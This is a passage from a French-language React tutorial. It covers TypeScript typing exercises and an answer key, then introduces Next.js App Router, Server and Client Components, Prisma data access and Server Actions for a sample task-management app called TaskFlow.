  // src/components/tasks/TaskForm/TaskForm.tsx
  import { useForm, SubmitHandler } from 'react-hook-form';
  import { zodResolver } from '@hookform/resolvers/zod';
  import { taskSchema, TaskFormValues } from '@/schemas/task.schema';
  import type { Task } from '@/types';

  interface TaskFormProps {
    task?:      Task;                              // Mode édition
    onSubmit:   (data: TaskFormValues) => Promise<void>;
    onCancel:   () => void;
    isLoading?: boolean;
  }

  function TaskForm({ task, onSubmit, onCancel, isLoading = false }: TaskFormProps) {
    const {
      register,
      handleSubmit,
      formState: { errors, isSubmitting },
      watch,
    } = useForm<TaskFormValues>({
      resolver:      zodResolver(taskSchema),
      defaultValues: task
        ? {
            title:          task.title,
            description:    task.description ?? undefined,
            priority:       task.priority,
            status:         task.status,
            dueDate:        task.dueDate ?? undefined,
            estimatedHours: task.estimatedHours ?? undefined,
            tags:           task.tags,
          }
        : {
            priority: 'medium',
            status:   'todo',
            tags:     [],
          },
    });

    const onFormSubmit: SubmitHandler<TaskFormValues> = async (data) => {
      await onSubmit(data);
    };

    return (
      <form onSubmit={handleSubmit(onFormSubmit)} noValidate>
        <div>
          <label htmlFor="title">Titre *</label>
          <input id="title" {...register('title')} />
          {errors.title && <span role="alert">{errors.title.message}</span>}
        </div>

        <div>
          <label htmlFor="priority">Priorité *</label>
          <select id="priority" {...register('priority')}>
            <option value="low">Basse</option>
            <option value="medium">Moyenne</option>
            <option value="high">Haute</option>
            <option value="critical">Critique</option>
          </select>
        </div>

        <div className="actions">
          <button type="button" onClick={onCancel}>Annuler</button>
          <button type="submit" disabled={isSubmitting || isLoading}>
            {task ? 'Mettre à jour' : 'Créer'}
          </button>
        </div>
      </form>
    );
  }

  export default TaskForm;


════════════════════════════════════════════════════════════════════════════════
EXERCICES PARTIE 8
════════════════════════════════════════════════════════════════════════════════

NIVEAU FACILE :
  EX-8.1 : Migrer Badge, Avatar, Spinner de JS vers TypeScript.
           Définir les types des props avec des interfaces.

  EX-8.2 : Typer correctement les événements d'un formulaire de recherche :
           onChange de l'input, onKeyDown pour Entrée/Échap, onSubmit.

  EX-8.3 : Créer le fichier src/types/index.ts avec tous les types
           de TaskFlow (Task, User, Priority, Status, etc.).

NIVEAU INTERMÉDIAIRE :
  EX-8.4 : Migrer le composant TaskCard vers TypeScript.
           Typer toutes les props, les callbacks, et les événements.

  EX-8.5 : Créer un generic hook useAsync<T, A>(fn: (...args: A[]) => Promise<T>).
           Retourner { execute, isPending, isSuccess, isError, data, error }.

  EX-8.6 : Typer l'AuthContext complet (AuthContextValue, hooks, Provider).
           Utiliser discriminated unions pour l'état de chargement.

NIVEAU AVANCÉ :
  EX-8.7 : Typer la couche API complète (tasksApi, authApi) avec Axios.
           Utiliser AxiosResponse<T> et AxiosError<ApiError>.

  EX-8.8 : Créer un composant Select générique :
           Select<T extends { id: number; label: string }> avec options, value, onChange.

  EX-8.9 : Migrer tout TaskFlow v6 vers TypeScript strict.
           Zero erreurs TypeScript, no any, exhaustive switch checks.

CORRIGÉ EX-8.5 — useAsync générique :

  import { useState, useCallback } from 'react';

  type AsyncStatus = 'idle' | 'pending' | 'success' | 'error';

  interface AsyncState<T> {
    status: AsyncStatus;
    data:   T | null;
    error:  string | null;
  }

  interface UseAsyncReturn<T, A extends unknown[]> {
    execute:   (...args: A) => Promise<T | void>;
    reset:     () => void;
    isIdle:    boolean;
    isPending: boolean;
    isSuccess: boolean;
    isError:   boolean;
    data:      T | null;
    error:     string | null;
  }

  function useAsync<T, A extends unknown[] = []>(
    fn: (...args: A) => Promise<T>
  ): UseAsyncReturn<T, A> {
    const [state, setState] = useState<AsyncState<T>>({
      status: 'idle',
      data:   null,
      error:  null,
    });

    const execute = useCallback(async (...args: A): Promise<T | void> => {
      setState({ status: 'pending', data: null, error: null });
      try {
        const data = await fn(...args);
        setState({ status: 'success', data, error: null });
        return data;
      } catch (err) {
        const error = err instanceof Error ? err.message : 'Erreur inconnue';
        setState({ status: 'error', data: null, error });
      }
    }, [fn]);

    const reset = useCallback(() => {
      setState({ status: 'idle', data: null, error: null });
    }, []);

    return {
      execute,
      reset,
      isIdle:    state.status === 'idle',
      isPending: state.status === 'pending',
      isSuccess: state.status === 'success',
      isError:   state.status === 'error',
      data:      state.data,
      error:     state.error,
    };
  }

  export default useAsync;

  // Utilisation :
  const { execute: login, isPending, isError, error } = useAsync(
    (creds: { email: string; password: string }) => authApi.login(creds)
  );

  await login({ email: 'alice@example.com', password: 'secret123' });


════════════════════════════════════════════════════════════════════════════════
RÉSUMÉ PARTIE 8
════════════════════════════════════════════════════════════════════════════════

  [OK] TypeScript = JS + types -> erreurs à la compilation, pas au runtime
  [OK] Interfaces pour les objets, types pour les unions/alias
  [OK] Generics : code réutilisable avec types paramétrés
  [OK] Utility Types : Partial, Required, Pick, Omit, Record...
  [OK] Composants React : props typées avec interfaces
  [OK] ComponentPropsWithoutRef : hériter des attributs HTML natifs
  [OK] forwardRef typé : forwardRef<RefType, PropsType>
  [OK] useState, useReducer, useRef : annotations explicites
  [OK] Custom hooks génériques : useFetch<T>, useLocalStorage<T>
  [OK] API : DTOs, ApiResponse<T>, PaginatedResponse<T>
  [OK] Discriminated unions : état async typé exhaustif
  [OK] Context typé : null + type guard dans le hook
  [OK] Zustand typé : State + Actions séparées
  [OK] RHF + Zod : z.infer<typeof schema> pour les types de formulaire

PROCHAINE PARTIE : Next.js — SSR, SSG, App Router, optimisations web
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
FIN PARTIE 8 -> Continuer : react_master_part_9.txt
================================================================================

================================================================================
REACT MASTER GUIDE — PARTIE 9 : NEXT.JS — SSR, SSG, APP ROUTER
================================================================================
VERSION 1.0 | CHAPITRES 47–53 | PROJET : TaskFlow Next.js
================================================================================

TABLE DES MATIÈRES
═══════════════════════════════════════════════════════════════════════════════
  CHAPITRE 47  ->  Pourquoi Next.js ?
  CHAPITRE 48  ->  Installation et App Router
  CHAPITRE 49  ->  Server Components vs Client Components
  CHAPITRE 50  ->  Fetching de données côté serveur
  CHAPITRE 51  ->  Server Actions — Mutations côté serveur
  CHAPITRE 52  ->  Routing avancé Next.js
  CHAPITRE 53  ->  Optimisations Next.js (Image, Font, Metadata)
  PROJET       ->  TaskFlow Next.js — Version SSR complète
═══════════════════════════════════════════════════════════════════════════════


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 47 : POURQUOI NEXT.JS ?
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
47.1 — LIMITES DU REACT SEUL (CLIENT-SIDE RENDERING)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Avec Vite + React pur (CSR - Client Side Rendering) :

  1. Le navigateur charge un HTML vide (div#root)
  2. Il télécharge le JS (bundle)
  3. React s'exécute et render l'UI
  -> Première page blanche visible pendant étapes 1-2 (mauvaise UX)

PROBLÈMES CONCRETS :
  • SEO médiocre : les crawlers voient une page vide
  • First Contentful Paint (FCP) lent sur connexions lentes
  • Pas de métadonnées dynamiques (titre, og:image) par page
  • Pas de backend intégré (doit gérer API séparément)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
47.2 — MODES DE RENDU
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  CSR  — Client Side Rendering
    Rendu dans le navigateur. Vite + React classique.
    [OK] Interactif immédiatement | [X] SEO, FCP lent

  SSR  — Server Side Rendering
    HTML généré sur le serveur à chaque requête.
    [OK] SEO, FCP rapide | [X] Plus lent qu'un fichier statique

  SSG  — Static Site Generation
    HTML généré à la compilation. CDN-friendly.
    [OK] Ultra-rapide, SEO | [X] Données statiques au build

  ISR  — Incremental Static Regeneration
    SSG + revalidation automatique (ex: toutes les 60s).
    [OK] Rapide + données semi-fraîches

  PPR  — Partial Prerendering (Next.js 14+)
    Shell statique + parties dynamiques en streaming.
    [OK] Meilleur des deux mondes

NEXT.JS SUPPORTE TOUS CES MODES et vous laisse choisir par page/composant.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
47.3 — CE QUE NEXT.JS APPORTE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  [OK] Routing basé sur le système de fichiers (file-system routing)
  [OK] Server Components (React 18) — render serveur par défaut
  [OK] Server Actions — mutations côté serveur sans API séparée
  [OK] API Routes — créer un backend Express-like dans le même projet
  [OK] Image Optimization (next/image)
  [OK] Font Optimization (next/font)
  [OK] Metadata API pour le SEO
  [OK] Middleware (auth, redirections, A/B testing)
  [OK] Streaming et Suspense natif
  [OK] Déploiement optimisé sur Vercel

NEXT.JS vs VITE REACT :
  Vite React     -> SPA simple, dashboard interne, apps B2B sans SEO
  Next.js        -> Public-facing, e-commerce, blog, SaaS avec SEO

  POUR TASKFLOW :
    Version Vite  -> Outil interne, app derrière login
    Version Next  -> Landing page marketing + app avec bon SEO


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 48 : INSTALLATION ET APP ROUTER
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
48.1 — CRÉER UN PROJET NEXT.JS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  npx create-next-app@latest taskflow-next

  Répondre aux questions :
    TypeScript?               Yes
    ESLint?                   Yes
    Tailwind CSS?             Yes (optionnel)
    src/ directory?           Yes  <- Recommandé
    App Router?               Yes  <- OBLIGATOIRE (nouvelle architecture)
    Import alias (@/*)?       Yes

  COMMANDES :
    npm run dev     -> http://localhost:3000
    npm run build   -> Build production
    npm run start   -> Démarrer le serveur de production
    npm run lint    -> ESLint

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
48.2 — STRUCTURE DU PROJET (APP ROUTER)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  taskflow-next/
  ├── src/
  │   ├── app/                <- App Router (routing par fichiers)
  │   │   ├── layout.tsx      <- Layout RACINE (html, body)
  │   │   ├── page.tsx        <- Page /
  │   │   ├── loading.tsx     <- UI de chargement (Suspense automatique)
  │   │   ├── error.tsx       <- Error boundary de la page
  │   │   ├── not-found.tsx   <- Page 404
  │   │   ├── (auth)/         <- Groupe de routes (pas dans l'URL)
  │   │   │   ├── login/
  │   │   │   │   └── page.tsx   <- /login
  │   │   │   └── register/
  │   │   │       └── page.tsx   <- /register
  │   │   ├── (app)/          <- Groupe avec layout partagé
  │   │   │   ├── layout.tsx  <- Layout avec Header + Sidebar
  │   │   │   ├── dashboard/
  │   │   │   │   └── page.tsx   <- /dashboard
  │   │   │   ├── tasks/
  │   │   │   │   ├── page.tsx        <- /tasks
  │   │   │   │   ├── [id]/
  │   │   │   │   │   └── page.tsx    <- /tasks/42
  │   │   │   │   └── new/
  │   │   │   │       └── page.tsx    <- /tasks/new
  │   │   │   └── settings/
  │   │   │       └── page.tsx   <- /settings
  │   │   └── api/            <- API Routes (backend)
  │   │       └── tasks/
  │   │           ├── route.ts         <- GET /api/tasks, POST /api/tasks
  │   │           └── [id]/
  │   │               └── route.ts     <- GET/PATCH/DELETE /api/tasks/:id
  │   ├── components/
  │   ├── hooks/
  │   ├── lib/                <- Utilitaires, config DB, etc.
  │   └── types/
  ├── public/
  ├── next.config.ts
  └── package.json

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
48.3 — FICHIERS SPÉCIAUX DE L'APP ROUTER
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  FICHIER          USAGE
  ─────────────    ───────────────────────────────────────────────────
  page.tsx         Contenu principal de la route
  layout.tsx       Layout partagé entre les pages enfants
  loading.tsx      UI pendant le chargement (Suspense)
  error.tsx        Gestion des erreurs (Error Boundary)
  not-found.tsx    Page 404 personnalisée
  template.tsx     Comme layout mais re-render à chaque navigation
  route.ts         API Route (remplace /pages/api/)
  middleware.ts    Exécuté avant chaque requête (auth, redirections)

  // src/app/layout.tsx — Layout racine :
  import type { Metadata } from 'next';
  import { Inter } from 'next/font/google';
  import './globals.css';

  const inter = Inter({ subsets: ['latin'] });

  export const metadata: Metadata = {
    title:       { default: 'TaskFlow', template: '%s | TaskFlow' },
    description: 'Gestion de tâches pour équipes modernes.',
    openGraph: {
      type:  'website',
      title: 'TaskFlow',
      url:   'https://taskflow.app',
    },
  };

  export default function RootLayout({
    children,
  }: {
    children: React.ReactNode;
  }) {
    return (
      <html lang="fr" suppressHydrationWarning>
        <body className={inter.className}>
          <Providers>
            {children}
          </Providers>
        </body>
      </html>
    );
  }

  // src/app/loading.tsx — Affiché pendant les suspenses :
  export default function Loading() {
    return (
      <div className="loading-screen" aria-label="Chargement en cours">
        <div className="spinner" />
        <p>Chargement...</p>
      </div>
    );
  }

  // src/app/error.tsx — Error Boundary automatique :
  'use client';  // <- error.tsx DOIT être un Client Component

  import { useEffect } from 'react';

  interface ErrorPageProps {
    error:  Error & { digest?: string };
    reset:  () => void;
  }

  export default function Error({ error, reset }: ErrorPageProps) {
    useEffect(() => {
      console.error('Erreur interceptée:', error);
      // Envoyer à Sentry : errorTracker.report(error);
    }, [error]);

    return (
      <main className="error-page">
        <h2>Une erreur est survenue</h2>
        <p>{error.message}</p>
        <button onClick={reset}>Réessayer</button>
      </main>
    );
  }

  // src/app/not-found.tsx :
  import Link from 'next/link';

  export default function NotFound() {
    return (
      <main className="not-found">
        <h1>404 — Page introuvable</h1>
        <p>La page que vous cherchez n'existe pas.</p>
        <Link href="/dashboard">Retour au tableau de bord</Link>
      </main>
    );
  }


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 49 : SERVER COMPONENTS vs CLIENT COMPONENTS
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
49.1 — LA DISTINCTION FONDAMENTALE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NEXT.JS 13+ avec App Router : TOUS les composants sont SERVER COMPONENTS
par défaut. Pour avoir un Client Component, on ajoute 'use client'.

  SERVER COMPONENT                       CLIENT COMPONENT
  ─────────────────────────────────────  ─────────────────────────────────
  Rendu sur le serveur uniquement        Rendu sur le client (+ hydration)
  Peut accéder à la DB directement       Pas d'accès DB direct
  Pas de useState, useEffect, events     useState, useEffect, events [OK]
  Moins de JS envoyé au client           JS envoyé et exécuté côté client
  Peut être async (await dans le body)   Pas async directement
  Sécurisé (secrets non exposés)         Variables env NEXT_PUBLIC_ seulement

RÈGLE SIMPLE :
  • Données + affichage statique -> Server Component (défaut)
  • Interactivité (useState, events) -> Client Component ('use client')
  • Les Client Components peuvent importer des Server Components non (et vice versa)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
49.2 — EXEMPLES CONCRETS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

SERVER COMPONENT (page.tsx) :

  // src/app/(app)/tasks/page.tsx — SERVER COMPONENT (pas de 'use client')
  import { Suspense } from 'react';
  import type { Metadata } from 'next';
  import { getTasks } from '@/lib/tasks';
  import TaskList from '@/components/tasks/TaskList';
  import TasksHeader from '@/components/tasks/TasksHeader';

  // Métadonnées SEO — uniquement dans les Server Components :
  export const metadata: Metadata = {
    title: 'Mes tâches',
    description: 'Gérez vos tâches et projets avec TaskFlow.',
  };

  interface TasksPageProps {
    searchParams: { status?: string; priority?: string; page?: string };
  }

  // <- Peut être async ! Accès direct à la DB sans API :
  export default async function TasksPage({ searchParams }: TasksPageProps) {
    const { status = 'all', priority = 'all', page = '1' } = searchParams;

    // Fetch direct côté serveur — pas besoin d'API intermédiaire :
    const { tasks, total } = await getTasks({
      status:   status !== 'all' ? status : undefined,
      priority: priority !== 'all' ? priority : undefined,
      page:     parseInt(page),
    });

    return (
      <div className="tasks-page">
        <TasksHeader totalCount={total} />

        <Suspense fallback={<div>Chargement des tâches...</div>}>
          {/* TaskList = Server Component aussi */}
          <TaskList tasks={tasks} />
        </Suspense>
      </div>
    );
  }

CLIENT COMPONENT (bouton interactif) :

  // src/components/tasks/TaskActions.tsx — CLIENT COMPONENT
  'use client';  // <- Directive obligatoire

  import { useState } from 'react';
  import { useRouter } from 'next/navigation';
  import { deleteTask, completeTask } from '@/app/actions/tasks';
  import type { Task } from '@/types';

  interface TaskActionsProps {
    task: Task;
  }

  export default function TaskActions({ task }: TaskActionsProps) {
    const router = useRouter();
    const [isDeleting, setIsDeleting] = useState(false);

    const handleDelete = async () => {
      if (!confirm('Supprimer cette tâche ?')) return;
      setIsDeleting(true);
      await deleteTask(task.id);
      router.refresh();  // Rafraîchir les données du serveur
    };

    const handleComplete = async () => {
      await completeTask(task.id);
      router.refresh();
    };

    return (
      <div className="task-actions">
        <button onClick={handleComplete} disabled={task.status === 'done'}>
          [OK] Terminer
        </button>
        <button onClick={handleDelete} disabled={isDeleting}>
          {isDeleting ? 'Suppression...' : '[SUPPRIMER] Supprimer'}
        </button>
      </div>
    );
  }

PATRON — Passer un Client Component comme enfant d'un Server Component :

  // [OK] Pattern recommandé : les données viennent du Server Component
  //    L'interactivité est dans le Client Component enfant

  // Server Component :
  async function TaskDetailPage({ params }: { params: { id: string } }) {
    const task = await getTaskById(parseInt(params.id));  // DB directement
    if (!task) notFound();

    return (
      <article>
        <h1>{task.title}</h1>
        <p>{task.description}</p>
        {/* Client Component reçoit les données du server */}
        <TaskActions task={task} />
        <CommentsSection taskId={task.id} initialComments={task.comments} />
      </article>
    );
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
49.3 — PROVIDERS CÔTÉ CLIENT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Les Context Providers utilisent useState -> ils doivent être Client Components.
Mais le layout.tsx est un Server Component. Solution : créer un fichier Providers.

  // src/components/Providers.tsx
  'use client';

  import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
  import { ReactQueryDevtools } from '@tanstack/react-query-devtools';
  import { useState, ReactNode } from 'react';
  import { ThemeProvider } from './ThemeProvider';
  import { AuthProvider } from '@/contexts/AuthContext';

  export default function Providers({ children }: { children: ReactNode }) {
    // QueryClient dans useState pour éviter le partage entre requêtes serveur
    const [queryClient] = useState(() => new QueryClient({
      defaultOptions: {
        queries: {
          staleTime:            60 * 1000,  // 1 min
          refetchOnWindowFocus: false,
        },
      },
    }));

    return (
      <QueryClientProvider client={queryClient}>
        <AuthProvider>
          <ThemeProvider>
            {children}
          </ThemeProvider>
        </AuthProvider>
        <ReactQueryDevtools />
      </QueryClientProvider>
    );
  }

  // src/app/layout.tsx utilise Providers :
  import Providers from '@/components/Providers';

  export default function RootLayout({ children }: { children: ReactNode }) {
    return (
      <html lang="fr">
        <body>
          <Providers>{children}</Providers>  {/* <- Client Component dans Server Component */}
        </body>
      </html>
    );
  }


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 50 : FETCHING DE DONNÉES CÔTÉ SERVEUR
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
50.1 — FETCH DANS LES SERVER COMPONENTS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Next.js 14+ étend le fetch natif avec des options de cache.

  // Fetch avec cache :
  const tasks = await fetch('https://api.taskflow.app/tasks', {
    cache: 'force-cache',   // SSG : cache permanent (build time)
    next: { revalidate: 60 }  // ISR : revalider toutes les 60s
  });

  // Fetch sans cache (SSR : toujours frais) :
  const tasks = await fetch('https://api.taskflow.app/tasks', {
    cache: 'no-store',
  });

  // Accès DB direct (recommandé en Next.js) — sans API intermédiaire :
  import { db } from '@/lib/db';

  async function getTasks(userId: number) {
    return db.task.findMany({
      where:   { assigneeId: userId },
      orderBy: { createdAt: 'desc' },
      include: { assignee: true, subtasks: true },
    });
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
50.2 — COUCHE DATA ACCESS (lib/)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/lib/db.ts — Prisma client singleton :
  import { PrismaClient } from '@prisma/client';

  const globalForPrisma = globalThis as unknown as { prisma: PrismaClient };

  export const db = globalForPrisma.prisma ?? new PrismaClient({
    log: process.env.NODE_ENV === 'development' ? ['query'] : [],
  });

  if (process.env.NODE_ENV !== 'production') globalForPrisma.prisma = db;

  // src/lib/tasks.ts — Fonctions d'accès aux données :
  import { db } from './db';
  import { cache } from 'react';  // cache() = mémoïser par requête serveur
  import type { Task, TaskFilters } from '@/types';

  // cache() évite de faire la même requête plusieurs fois dans le même render :
  export const getTaskById = cache(async (id: number) => {
    return db.task.findUnique({
      where:   { id },
      include: {
        assignee: true,
        subtasks: { orderBy: { createdAt: 'asc' } },
        project:  true,
        _count:   { select: { comments: true, attachments: true } },
      },
    });
  });

  export const getTasks = cache(async (filters: TaskFilters = {}) => {
    const { status, priority, search, page = 1, limit = 20 } = filters;

    const where = {
      ...(status && status !== 'all' ? { status } : {}),
      ...(priority && priority !== 'all' ? { priority } : {}),
      ...(search ? { title: { contains: search, mode: 'insensitive' as const } } : {}),
    };

    const [tasks, total] = await Promise.all([
      db.task.findMany({
        where,
        include: { assignee: true, _count: { select: { comments: true } } },
        orderBy: { createdAt: 'desc' },
        skip:    (page - 1) * limit,
        take:    limit,
      }),
      db.task.count({ where }),
    ]);

    return { tasks, total, page, limit, totalPages: Math.ceil(total / limit) };
  });

  export const getTaskStats = cache(async (userId?: number) => {
    const where = userId ? { assigneeId: userId } : {};
    const [total, done, inProgress, todo, overdue] = await Promise.all([
      db.task.count({ where }),
      db.task.count({ where: { ...where, status: 'done' } }),
      db.task.count({ where: { ...where, status: 'in_progress' } }),
      db.task.count({ where: { ...where, status: 'todo' } }),
      db.task.count({
        where: { ...where, status: { not: 'done' }, dueDate: { lt: new Date() } },
      }),
    ]);
    return { total, done, inProgress, todo, overdue };
  });

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
50.3 — PARALLEL DATA FETCHING (PERFORMANCE)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // [X] Séquentiel — lent (attend chaque await) :
  async function DashboardPage() {
    const tasks = await getTasks();      // 300ms
    const stats = await getTaskStats();  // 200ms  -> Total : 500ms
    const user  = await getUser();       // 150ms
  }

  // [OK] Parallèle — rapide (exécution simultanée) :
  async function DashboardPage() {
    const [tasks, stats, user] = await Promise.all([
      getTasks(),      // |
      getTaskStats(),  // | Ces 3 requêtes partent en même temps
      getUser(),       // |
    ]);
    // Total : ~300ms (le plus long) au lieu de 650ms
  }

  // [OK][OK] Avec streaming (Suspense) — encore mieux :
  async function DashboardPage() {
    // Lancer le fetch SANS await (pour le streaming)
    const statsPromise = getTaskStats();  // Démarre immédiatement
    const tasksPromise = getTasks();

    return (
      <div>
        {/* Affiché dès que stats est résolu */}
        <Suspense fallback={<StatsGridSkeleton />}>
          <StatsGrid statsPromise={statsPromise} />
        </Suspense>

        {/* Affiché dès que tasks est résolu */}
        <Suspense fallback={<TaskListSkeleton />}>
          <TaskList tasksPromise={tasksPromise} />
        </Suspense>
      </div>
    );
  }

  // Components qui awaittent leur promise :
  async function StatsGrid({ statsPromise }: { statsPromise: Promise<Stats> }) {
    const stats = await statsPromise;  // Unlock dès que prêt
    return <div>{/* ... */}</div>;
  }


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 51 : SERVER ACTIONS — MUTATIONS CÔTÉ SERVEUR
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
51.1 — QU'EST-CE QU'UNE SERVER ACTION ?
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Les Server Actions sont des fonctions asynchrones qui s'exécutent côté serveur.
Elles permettent de faire des mutations (CRUD) SANS créer d'API Route séparée.
Elles sont appelées depuis les Client Components comme des fonctions normales.

  // Sans Server Actions : Client -> API Route -> DB
  // Avec Server Actions : Client -> Server Action -> DB (direct !)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
51.2 — CRÉER ET UTILISER DES SERVER ACTIONS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/app/actions/tasks.ts
  'use server';  // <- Directive : tout ce fichier = Server Actions

  import { revalidatePath, revalidateTag } from 'next/cache';
  import { redirect } from 'next/navigation';
  import { db } from '@/lib/db';
  import { taskSchema, type TaskFormValues } from '@/schemas/task.schema';
  import { getAuthUser } from '@/lib/auth';
  import type { Task } from '@/types';

  // Créer une tâche :
  export async function createTask(data: TaskFormValues): Promise<Task> {
    const user = await getAuthUser();
    if (!user) redirect('/login');

    // Validation serveur (même si validé côté client) :
    const validated = taskSchema.parse(data);

    const task = await db.task.create({
      data: {
        ...validated,
        creatorId: user.id,
      },
      include: { assignee: true },
    });

    // Invalider le cache pour forcer un refetch :
    revalidatePath('/tasks');
    revalidateTag('tasks');

    return task;
  }

  // Mettre à jour une tâche :
  export async function updateTask(
    id: number,
    data: Partial<TaskFormValues>
  ): Promise<Task> {
    const user = await getAuthUser();
    if (!user) redirect('/login');

    // Vérifier les permissions :
    const existing = await db.task.findFirst({
      where: { id, OR: [{ creatorId: user.id }, { assigneeId: user.id }] },
    });
    if (!existing) throw new Error('Tâche non trouvée ou accès refusé');

    const task = await db.task.update({
      where: { id },
      data:  { ...data, updatedAt: new Date() },
      include: { assignee: true, subtasks: true },
    });

    revalidatePath(`/tasks/${id}`);
    revalidatePath('/tasks');
    return task;
  }

  // Supprimer une tâche :
  export async function deleteTask(id: number): Promise<void> {
    const user = await getAuthUser();
    if (!user) redirect('/login');

    const existing = await db.task.findFirst({
      where: { id, creatorId: user.id },  // Seul le créateur peut supprimer
    });
    if (!existing) throw new Error('Accès refusé');

    await db.task.delete({ where: { id } });
    revalidatePath('/tasks');
  }

  // Terminer une tâche (exemple d'action simple) :
  export async function completeTask(id: number): Promise<Task> {
    return updateTask(id, { status: 'done', completedAt: new Date().toISOString() });
  }

  // Action depuis un formulaire HTML (sans JS !) :
  export async function createTaskFromForm(formData: FormData): Promise<void> {
    const data = {
      title:    formData.get('title') as string,
      priority: formData.get('priority') as string,
      dueDate:  formData.get('dueDate') as string || null,
    };

    const validated = taskSchema.parse(data);
    await createTask(validated);
    redirect('/tasks');  // Redirection après succès
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
51.3 — UTILISER LES SERVER ACTIONS DANS LES COMPOSANTS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // Méthode 1 : Depuis un Client Component avec useTransition :
  'use client';
  import { useTransition } from 'react';
  import { createTask } from '@/app/actions/tasks';

  function CreateTaskButton({ taskData }: { taskData: TaskFormValues }) {
    const [isPending, startTransition] = useTransition();

    const handleClick = () => {
      startTransition(async () => {
        await createTask(taskData);
        // La page se met à jour automatiquement (revalidatePath)
      });
    };

    return (
      <button onClick={handleClick} disabled={isPending}>
        {isPending ? 'Création...' : '+ Nouvelle tâche'}
      </button>
    );
  }

  // Méthode 2 : useFormState pour les formulaires :
  'use client';
  import { useFormState, useFormStatus } from 'react-dom';
  import { createTaskFromForm } from '@/app/actions/tasks';

